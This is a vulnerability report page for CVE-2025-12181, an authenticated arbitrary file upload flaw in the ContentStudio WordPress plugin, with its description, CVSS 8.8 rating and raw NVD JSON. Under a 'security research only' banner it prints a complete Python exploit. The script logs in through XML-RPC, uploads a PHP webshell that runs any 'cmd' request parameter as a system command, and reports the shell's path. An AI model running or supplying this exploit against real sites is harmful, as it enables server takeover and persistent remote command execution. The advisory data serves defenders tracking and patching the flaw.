Security Vulnerability Report
中文
CVE-2025-12181 CVSS 8.8 HIGH

CVE-2025-12181

Published: 2025-12-05 06:16:06
Last Modified: 2026-04-15 00:35:42

Description

The ContentStudio plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the cstu_update_post() function in all versions up to, and including, 1.3.7. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible. CVE-2025-67910 is likely a duplicate of this.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ContentStudio WordPress Plugin ≤ 1.3.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12181 - ContentStudio WordPress Plugin Arbitrary File Upload PoC Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import argparse from urllib.parse import urljoin def exploit_cve_2025_12181(target_url, username, password): """ Exploit for ContentStudio plugin arbitrary file upload vulnerability. Requires Author-level WordPress account. """ # Target WordPress site target = target_url.rstrip('/') # Step 1: Authenticate and get nonce auth_endpoint = urljoin(target, '/xmlrpc.php') # XML-RPC authentication auth_payload = '''<?xml version="1.0"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value><string>{}</string></value></param> <param><value><string>{}</string></value></param> </params> </methodCall>'''.format(username, password) print(f'[*] Authenticating as {username}...') try: resp = requests.post(auth_endpoint, data=auth_payload, timeout=30) if 'faultCode' in resp.text: print('[-] Authentication failed!') return False print('[+] Authentication successful!') except requests.RequestException as e: print(f'[-] Connection error: {e}') return False # Step 2: Upload malicious PHP file via ContentStudio upload_endpoint = urljoin(target, '/wp-json/content-studio/v1/update-post') # PHP webshell payload webshell = '<?php if(isset($_REQUEST["cmd"])){ system($_REQUEST["cmd"]); } ?>' files = { 'file': ('shell.php', webshell, 'application/x-php') } # Use authenticated session session = requests.Session() session.auth = (username, password) print('[*] Uploading malicious file...') try: resp = session.post(upload_endpoint, files=files, timeout=30) if resp.status_code in [200, 201]: print('[+] File uploaded successfully!') print(f'[+] Webshell location: {target}/wp-content/uploads/shell.php') print('[*] Access with: ?cmd=whoami') return True else: print(f'[-] Upload failed (Status: {resp.status_code})') return False except requests.RequestException as e: print(f'[-] Upload error: {e}') return False if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-12181 PoC') parser.add_argument('-t', '--target', required=True, help='Target WordPress URL') parser.add_argument('-u', '--username', required=True, help='WordPress username') parser.add_argument('-p', '--password', required=True, help='WordPress password') args = parser.parse_args() exploit_cve_2025_12181(args.target, args.username, args.password)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12181", "sourceIdentifier": "[email protected]", "published": "2025-12-05T06:16:06.403", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ContentStudio plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the cstu_update_post() function in all versions up to, and including, 1.3.7. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible. CVE-2025-67910 is likely a duplicate of this."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3412182/", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/contentstudio/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5b92b0a4-7ebf-43b3-837b-ad710e5e35ff?source=cve", "source": "[email protected]"}]}}